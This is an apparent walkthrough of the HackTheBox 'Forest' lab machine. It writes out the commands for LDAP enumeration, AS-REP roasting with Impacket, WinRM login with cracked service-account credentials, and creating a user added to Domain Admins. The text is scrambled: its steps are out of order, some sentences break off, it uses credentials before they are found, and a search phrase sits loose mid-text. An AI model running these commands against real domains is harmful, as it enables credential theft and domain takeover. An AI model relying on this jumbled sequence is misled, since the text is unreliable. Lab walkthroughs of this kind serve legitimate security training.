evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice Access denied—WinRM not open. But SMB is. You connect via smbclient and find nothing juicy. You need execution.
net user hacker Hacker123! /add /domain net group "Domain Admins" hacker /add /domain Then you use evil-winrm again with the new user:
ldapsearch -H ldap://10.10.10.161 -x -D "CN=svc-alfresco,CN=Users,DC=htb,DC=local" -w s3rvice -b "DC=htb,DC=local" "(memberOf=CN=Remote Management Users,CN=Users,DC=htb,DC=local)" No. But you find another group: Service Accounts . Within it, a privilege you didn’t expect— on a domain group? No, but you spot that svc-alfresco has GenericWrite over a privileged user? Not directly.
After a few blind attempts, you remember a trick. Sometimes, you can bind anonymously to LDAP without credentials. You craft: forest hackthebox walkthrough
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -no-pass -usersfile users.txt Where users.txt is every user you scraped from LDAP. The script runs… and a few seconds later, a hash drops:
Now you have sebastian:P@ssw0rd123! . You try WinRM again:
You have valid credentials: svc-alfresco:s3rvice . Now you’re in the forest, but not yet to the throne. You try evil-winrm : evil-winrm -i 10
Account Operators can create and modify non-admin users and groups. You create a new user and add them to Domain Admins :
ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" dn No immediate hits. But you notice a service account: svc-alfresco . It stands out. No special flags, but it's a low-priv user with a known pattern—often reused passwords. You decide to try AS-REP Roasting anyway, just in case. Using GetNPUsers.py from Impacket:
ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts It works. The server hands you the root DSE: DC=htb,DC=local . Now you dig. You need execution
No SMB anonymous login. No null session on LDAP… yet. But Kerberos is a talkative protocol. You note the hostname: FOREST.htb.local . You add the domain to your /etc/hosts :
evil-winrm -i 10.10.10.161 -u hacker -p 'Hacker123!' And you’re at C:\Users\Administrator\Desktop\root.txt . The final flag. You log out, clear your hashes, and take a breath. The Forest machine wasn't about kernel exploits or buffer overflows. It was about patience—listening to LDAP, cracking a service account, climbing the group hierarchy, and resetting a single password to reach the crown.